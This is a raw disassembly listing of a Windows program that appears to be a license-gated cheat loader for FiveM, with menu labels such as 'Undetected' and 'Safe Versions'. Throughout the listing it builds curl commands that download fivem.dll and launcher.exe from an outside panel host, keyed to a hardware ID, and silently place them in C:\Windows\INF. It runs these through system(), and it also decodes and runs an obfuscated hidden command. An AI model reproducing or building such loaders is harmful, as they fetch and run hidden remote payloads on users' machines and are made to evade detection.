call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov rcx, rax
movabs rax, 0xd6bf94d5e57a42bd
imul rcx
add rdx, rcx
sar rdx, 0x17
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
sub rdi, rdx
cmp rdi, 0x278d00
jle 0x14005c920
movaps xmm0, xmmword [0x1400aec20]
movups xmmword [rsp + 0x2f0], xmm0
lea rdx, str.Lifetime
lea rcx, [rsp + 0x2f0]
call fcn.140050280
jmp 0x14005c9fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rdi, rdi
jg 0x14005c997
mov rax, qword [0x14013fd60]
mov rcx, qword [rax + 0x1d18]
movss xmm0, dword [rcx + 0x118]
subss xmm0, dword [rcx + 0x50]
addss xmm0, dword [rcx + 0x9c]
subss xmm0, xmm8
call fcn.140027a60
mov dword [rsp + 0x20], 0xff
mov edx, 0x2d
mov r9d, 0xfc
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x2d0]
call fcn.14004fae0
movups xmm3, xmmword [rax]
movups xmmword [rsp + 0x2f0], xmm3
lea rdx, str.No_License
lea rcx, [rsp + 0x2f0]
call fcn.140050280
jmp 0x14005c9fe
movabs rax, 0x1845c8a0ce512957
imul rdi
mov r10, rdx
sar r10, 0xd
mov rax, r10
shr rax, 0x3f
add r10, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0x2d
mov r9d, 0xfc
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x2d0]
call fcn.14004fae0
movups xmm3, xmmword [rax]
movups xmmword [rsp + 0x2f0], xmm3
mov r8d, r10d
lea rdx, str._d_Days
lea rcx, [rsp + 0x2f0]
call fcn.140050280
xor r15d, r15d
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rbx, qword [rax + 0x2f8]
movss xmm0, dword [rax + 0x118]
movss xmm1, dword [rax + 0x11c]
subss xmm1, dword [0x1400ae874]
movss xmm7, dword [0x1400ae888]
addss xmm0, xmm7
movss dword [rsp + 0x310], xmm0
movss dword [rsp + 0x314], xmm1
mov dword [rsp + 0x28], 0x1f
movss xmm6, dword [0x1400ae844]
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm12
movss xmm2, dword [0x1400ae840]
lea rdx, [rsp + 0x310]
mov rcx, rbx
call fcn.140044280
mov r9d, 0x4c0eed37
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400436e0
mov dword [rbx + 0x78], r15d
mov dword [rsp + 0x28], 0x1f
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm12
movss xmm2, dword [0x1400ae7f8]
lea rdx, [rsp + 0x310]
mov rcx, rbx
call fcn.140044280
mov r9d, 0xff0eed37
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400436e0
mov dword [rbx + 0x78], r15d
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm11
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ae894]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
movaps xmm1, xmmword [0x1400aeb60]
movups xmmword [rsp + 0x2f0], xmm1
lea rdx, str.Undetected
lea rcx, [rsp + 0x2f0]
call fcn.140050280
call fcn.140027370
mov rbx, qword [0x14013fd60]
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1678]
mov dword [rsp + 0x2d0], 0xb
movss dword [rsp + 0x2d4], xmm0
lea rdx, [rsp + 0x2d0]
call fcn.140039460
mov dword [rbx + 0x1678], 0x41200000
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm15, dword [0x1400ae8fc]
addss xmm0, xmm15
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ae89c]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x2d0], 0x43340000
mov dword [rsp + 0x2d4], 0x41f00000
lea rdx, [rsp + 0x2d0]
test rdi, rdi
jle 0x14005d3f1
lea rcx, str.Start
call fcn.140050c40
test al, al
je 0x14005cca2
lea rcx, str.Choose_Version
call fcn.140028350
mov dword [0x14014057c], 0
call fcn.140028a10
test al, al
je 0x14005d3fd
mov rcx, qword [0x14013fd60]
movss xmm0, dword [0x14014057c]
addss xmm0, dword [rcx + 0x18]
movss dword [0x14014057c], xmm0
mov dword [rsp + 0x2d0], 0x43960000
mov dword [rsp + 0x2d4], 0x43160000
xor r8d, r8d
lea rdx, [rsp + 0x2d0]
mov rcx, qword [rcx + 0x1d18]
call fcn.140027540
mov dword [rsp + 0x2d0], 0x42d20000
mov dword [rsp + 0x2d4], 0x42200000
lea rcx, [rsp + 0x2d0]
call fcn.1400279e0
lea rcx, str.Select_a_version
call fcn.140050180
mov rdx, qword [0x14013fd60]
mov rax, qword [rdx + 0x1d18]
movss xmm0, dword [rax + 0x118]
subss xmm0, dword [rax + 0x50]
addss xmm0, dword [rax + 0x9c]
addss xmm0, xmm7
call fcn.140027a60
mov rdx, qword [rdx + 0x1d18]
movss xmm0, dword [rdx + 0x11c]
subss xmm0, dword [rdx + 0x54]
addss xmm0, dword [rdx + 0xa0]
addss xmm0, xmm7
call fcn.140027ab0
mov qword [rsp + 0x2d0], 0x42f00000
lea rdx, [rsp + 0x2d0]
lea rcx, str.Safe_Versions
call fcn.1400512f0
lea r12, [0x140140498]
test al, al
je 0x14005d052
mov r8, r12
lea rdx, str.curl_https:__ghostesportpanel.com_download_downloadfivemsafe_hwid
lea rcx, [rsp + 0x358]
call fcn.140066d80
nop
lea r8, str.__o_C:WindowsINF_rage_scripting_fivem.dll___silent
mov rdx, rax
lea rcx, [rsp + 0x3a0]
call fcn.140066b30
nop
lea rcx, [rsp + 0x358]
call fcn.140065a90
lea rcx, [rsp + 0x3a0]
call fcn.140065a00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, r12
lea rdx, str.curl_https:__ghostesportpanel.com_download_downloadinj_hwid
lea rcx, [rsp + 0x3e0]
call fcn.140066d80
nop
lea r8, str.__o_C:WindowsINFlauncher.exe___silent
mov rdx, rax
lea rcx, [rsp + 0x380]
call fcn.140066b30
nop
lea rcx, [rsp + 0x3e0]
call fcn.140065a90
lea rcx, [rsp + 0x380]
call fcn.140065a00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ae100]
movups xmmword [rsp + 0x330], xmm0
movups xmm1, xmmword [0x1400ae110]
movups xmmword [rsp + 0x340], xmm1
mov eax, dword [0x1400ae120]
mov dword [rsp + 0x350], eax
movzx eax, byte [0x1400ae124]
mov byte [rsp + 0x354], al
mov r8d, r15d
mov ebx, dword [0x1400bb008]
cmp ebx, 2
jl 0x14005cfd5
movdqa xmm5, xmmword [0x1400aea60]
movdqa xmm4, xmmword [0x1400aeae0]
movdqa xmm6, xmmword [str.7777]
movdqa xmm0, xmmword [0x1400aeaf0]
movdqa xmmword [rsp + 0x2f0], xmm0
lea rcx, [rsp + 0x334]
mov edx, dword [rsp + 0x2f0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aead0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aead0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14005ced0
cmp r8d, 0x25
jge 0x14005d021
movsxd rax, r8d
lea r9, [rsp + 0x330]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14005cff0
lea rcx, [rsp + 0x330]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400287c0
nop
lea rcx, [rsp + 0x380]
call fcn.140065a90
nop
lea rcx, [rsp + 0x3a0]
call fcn.140065a90
jmp 0x14005d058
mov ebx, dword [0x1400bb008]
movaps xmm1, xmm7
movaps xmm0, xmm12
call fcn.140027930
mov qword [rsp + 0x2d0], 0x42f00000
lea rdx, [rsp + 0x2d0]
lea rcx, str.Test_Version
call fcn.1400512f0
test al, al
je 0x14005d3ea
lea r8, str.download_fivemnew.php_hwid
lea rcx, [rsp + 0x358]
call fcn.140066ba0
nop
lea r8, [0x1401404e0]
mov rdx, rax
lea rcx, [rsp + 0x330]
call fcn.140066d10
nop
lea rcx, [rsp + 0x358]
call fcn.140065a90
lea r8, str.download_injnew.php_hwid
lea rcx, [rsp + 0x3e0]
call fcn.140066ba0
nop
lea r8, [0x1401404e0]
mov rdx, rax
lea rcx, [rsp + 0x310]
call fcn.140066d10
nop
lea rcx, [rsp + 0x3e0]
call fcn.140065a90
lea rdx, str.C:WindowsINF_rage_scripting_fivem.dll
lea rcx, [rsp + 0x2d0]
call fcn.140065c00
nop
mov r8, r12
lea rdx, str.curl_https:__ghostesportpanel.com_download_downloadfivem_hwid
lea rcx, [rsp + 0x358]
call fcn.140066d80
nop
lea r8, str.__o_C:WindowsINF_rage_scripting_fivem.dll___silent
mov rdx, rax
lea rcx, [rsp + 0x3a0]
call fcn.140066b30
nop
lea rcx, [rsp + 0x358]
call fcn.140065a90
lea rcx, [rsp + 0x3a0]
call fcn.140065a00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, r12
lea rdx, str.curl_https:__ghostesportpanel.com_download_downloadinj_hwid
lea rcx, [rsp + 0x3e0]
call fcn.140066d80
nop
lea r8, str.__o_C:WindowsINFlauncher.exe___silent
mov rdx, rax
lea rcx, [rsp + 0x380]
call fcn.140066b30
nop
lea rcx, [rsp + 0x3e0]
call fcn.140065a90
lea rcx, [rsp + 0x380]
call fcn.140065a00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ae100]
movups xmmword [rsp + 0x358], xmm0
movups xmm1, xmmword [0x1400ae110]
movups xmmword [rsp + 0x368], xmm1
mov eax, dword [0x1400ae120]
mov dword [rsp + 0x378], eax
movzx eax, byte [0x1400ae124]
mov byte [rsp + 0x37c], al
mov r8d, r15d
cmp ebx, 2
jl 0x14005d345
movdqa xmm5, xmmword [0x1400aea60]
movdqa xmm4, xmmword [0x1400aeae0]
movdqa xmm6, xmmword [str.7777]
movdqa xmm0, xmmword [0x1400aeaf0]
movdqa xmmword [rsp + 0x2f0], xmm0
lea rcx, [rsp + 0x35c]
mov edx, dword [rsp + 0x2f0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aead0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400aead0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14005d240
cmp r8d, 0x25
jge 0x14005d391
movsxd rax, r8d
lea r9, [rsp + 0x358]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14005d360
lea rcx, [rsp + 0x358]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400287c0
nop
lea rcx, [rsp + 0x380]
call fcn.140065a90
nop
lea rcx, [rsp + 0x3a0]
call fcn.140065a90
nop
lea rcx, [rsp + 0x2d0]
call fcn.140065a90
nop
lea rcx, [rsp + 0x310]
call fcn.140065a90
nop
lea rcx, [rsp + 0x330]
call fcn.140065a90
call fcn.140028ba0
jmp 0x14005d404
lea rcx, str.No_License
call fcn.140050c40
lea r12, [0x140140498]
mov rcx, qword [0x14013fd60]
movsxd rax, dword [rcx + 0x1e80]
lea rdx, [rax + rax*2]
mov r8, qword [rcx + 0x1e88]
movsxd rax, dword [r8 + rdx*4 - 0xc]
lea r10, [rax + rax*2]
mov r9d, dword [r14 + r10*4 + 0x81258]
cmp dword [r14 + r10*4 + 0x81250], 8
jne 0x14005d474
mov eax, dword [r14 + r10*4 + 0x81254]
cmp eax, 1
jne 0x14005d455
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
jmp 0x14005d474
cmp eax, 2
jne 0x14005d474
mov eax, dword [r8 + rdx*4 - 8]
mov dword [r9 + rcx + 0x1638], eax
mov eax, dword [r8 + rdx*4 - 4]
mov dword [r9 + rcx + 0x163c], eax
dec dword [rcx + 0x1e80]
call fcn.140020e50
mov eax, dword [0x1401401c8]
test eax, eax
jne 0x14005f14a
mov rbx, qword [0x14013fd60]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm14
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ae940]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x2d0], 0x43870000
mov dword [rsp + 0x2d4], 0x435c0000
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd r8, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.container2
call fcn.1400190b0
cmp dword [rbx + 0x1d6c], eax
jne 0x14005d562
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14005d571
mov byte [rbx + 0x1dac], 1
mov dword [rsp + 0x20], 8
lea r8, [rsp + 0x2d0]
mov edx, eax
lea rcx, str.container2
call fcn.140020c30
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rdi, qword [rax + 0x2f8]
movss xmm6, dword [rax + 0x118]
movss xmm7, dword [rax + 0x11c]
addss xmm7, xmm8
addss xmm6, xmm8
movss dword [rsp + 0x68], xmm6
movss dword [rsp + 0x6c], xmm7
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x2d0], 0x3f800000
mov dword [rsp + 0x2d4], 0x3f800000
movaps xmm0, xmmword [0x1400aec40]
movups xmmword [rsp + 0x2f0], xmm0
lea rcx, [rsp + 0x2f0]
call fcn.140019580
mov dword [rsp + 0x50], eax
addss xmm7, xmm9
addss xmm6, xmm10
movss dword [rsp + 0x310], xmm6
movss dword [rsp + 0x314], xmm7
mov r15, qword [0x14013fe18]
test eax, 0xff000000
je 0x14005d70a
mov r13, qword [rdi + 0x98]
cmp r15, r13
je 0x14005d65c
mov rdx, r15
mov rcx, rdi
call fcn.1400423a0
mov ebx, dword [rdi + 0x20]
mov dword [rsp + 0x20], 0xf0
movaps xmm3, xmm8
lea r8, [rsp + 0x310]
lea rdx, [rsp + 0x68]
mov rcx, rdi
call fcn.1400446b0
mov r9d, dword [rsp + 0x50]
mov r8d, dword [rdi + 0x78]
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.1400436e0
mov dword [rdi + 0x78], 0
lea rax, [rsp + 0x2d0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x310]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x68]
mov r8d, dword [rdi + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.1400459d0
cmp r15, r13
je 0x14005d705
movsxd rcx, dword [rdi + 0x68]
lea eax, [rcx - 1]
mov dword [rdi + 0x68], eax
test eax, eax
jne 0x14005d6ed
xor eax, eax
jmp 0x14005d6f6
mov rax, qword [rdi + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov qword [rdi + 0x98], rax
mov rcx, rdi
call fcn.140042150
mov r13d, dword [rsp + 0x58]
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm11
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm13
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov rcx, qword [0x14013fd88]
call fcn.1400272d0
lea rdx, [0x1401403f0]
lea rcx, [rsp + 0x330]
call fcn.140065c40
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14005d7b2
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14005d7f8
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14005d7f3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005d9f9
mov rcx, r8
call fcn.14007ba50
xor r15d, r15d
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r15b
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x400], xmm0
movups xmmword [rsp + 0x410], xmm0
mov dword [rsp + 0x420], eax
lea rax, [r14 + 0xae3f0]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x100]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or r13d, 8
mov dword [rsp + 0x58], r13d
mov dword [rsp + 0x50], r13d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0x70], rbx
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0x6c], edx
lea rax, [rsp + 0x80]
mov qword [rsp + 0x2d0], rax
lea rcx, [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0x80], rax
lea rdx, [0x14013ffd8]
cmp qword [0x14013fff0], 0xf
cmova rdx, qword [0x14013ffd8]
lea r9d, [r15 + 2]
mov r8, qword [0x14013ffe8]
lea rcx, [rsp + 0x80]
call fcn.1400663c0
nop
lea rax, [rsp + 0x400]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], rsi
mov qword [rsp + 0x300], rsi
mov rax, rsi
nop word [rax + rax]
inc rax
cmp byte [rax], 0
jne 0x14005d920
mov qword [rsp + 0x300], rax
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0x70]
call fcn.14006b640
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rbx
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x80]
call fcn.140064880
lea rcx, [rsp + 0x88]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x100]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x400]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__mktime64]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov rcx, rax
movabs rax, 0xd6bf94d5e57a42bd
imul rcx
add rdx, rcx
sar rdx, 0x17
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
sub rdi, rdx
cmp rdi, 0x278d00
jle 0x14005da00
movaps xmm0, xmmword [0x1400aec20]
movups xmmword [rsp + 0x2f0], xmm0
lea rdx, str.Lifetime
lea rcx, [rsp + 0x2f0]
call fcn.140050280
jmp 0x14005dadb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rdi, rdi
jg 0x14005da77
mov rax, qword [0x14013fd60]
mov rcx, qword [rax + 0x1d18]
movss xmm0, dword [rcx + 0x118]
subss xmm0, dword [rcx + 0x50]
addss xmm0, dword [rcx + 0x9c]
subss xmm0, xmm8
call fcn.140027a60
mov dword [rsp + 0x20], 0xff
mov edx, 0x2d
mov r9d, 0xfc
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x2d0]
call fcn.14004fae0
movups xmm3, xmmword [rax]
movups xmmword [rsp + 0x2f0], xmm3
lea rdx, str.No_License
lea rcx, [rsp + 0x2f0]
call fcn.140050280
jmp 0x14005dadb
movabs rax, 0x1845c8a0ce512957
imul rdi
mov r10, rdx
sar r10, 0xd
mov rax, r10
shr rax, 0x3f
add r10, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0x2d
mov r9d, 0xfc
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x2d0]
call fcn.14004fae0
movups xmm3, xmmword [rax]
movups xmmword [rsp + 0x2f0], xmm3
mov r8d, r10d
lea rdx, str._d_Days
lea rcx, [rsp + 0x2f0]
call fcn.140050280
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rbx, qword [rax + 0x2f8]
movss xmm0, dword [rax + 0x118]
movss xmm1, dword [rax + 0x11c]
subss xmm1, dword [0x1400ae874]
addss xmm0, dword [0x1400ae888]
movss dword [rsp + 0x310], xmm0
movss dword [rsp + 0x314], xmm1
mov dword [rsp + 0x28], 0x1f
movss xmm6, dword [0x1400ae844]
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm12
movss xmm2, dword [0x1400ae840]
lea rdx, [rsp + 0x310]
mov rcx, rbx
call fcn.140044280
mov r9d, 0x4c0eed37
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400436e0
mov dword [rbx + 0x78], r15d
mov dword [rsp + 0x28], 0x1f
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm12
movss xmm2, dword [0x1400ae7f8]
lea rdx, [rsp + 0x310]
mov rcx, rbx
call fcn.140044280
mov r9d, 0xff0eed37
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
mov rcx, rbx
call fcn.1400436e0
mov dword [rbx + 0x78], r15d
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm11
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ae894]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
movaps xmm1, xmmword [0x1400aeb60]
movups xmmword [rsp + 0x2f0], xmm1
lea rdx, str.Undetected
lea rcx, [rsp + 0x2f0]
call fcn.140050280
call fcn.140027370
mov rbx, qword [0x14013fd60]
lea rcx, [rbx + 0x1e80]
movss xmm0, dword [rbx + 0x1678]
mov dword [rsp + 0x2d0], 0xb
movss dword [rsp + 0x2d4], xmm0
lea rdx, [rsp + 0x2d0]
call fcn.140039460
mov dword [rbx + 0x1678], 0x41200000
mov rcx, qword [0x14013fd60]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm15
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x1400ae89c]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rsp + 0x2d0], 0x43340000
mov dword [rsp + 0x2d4], 0x41f00000
lea rdx, [rsp + 0x2d0]
test rdi, rdi
jle 0x14005de3f
lea rcx, str.Start
call fcn.140050c40
test al, al
je 0x14005de4b
lea r8, str.downloadow.php_hwid
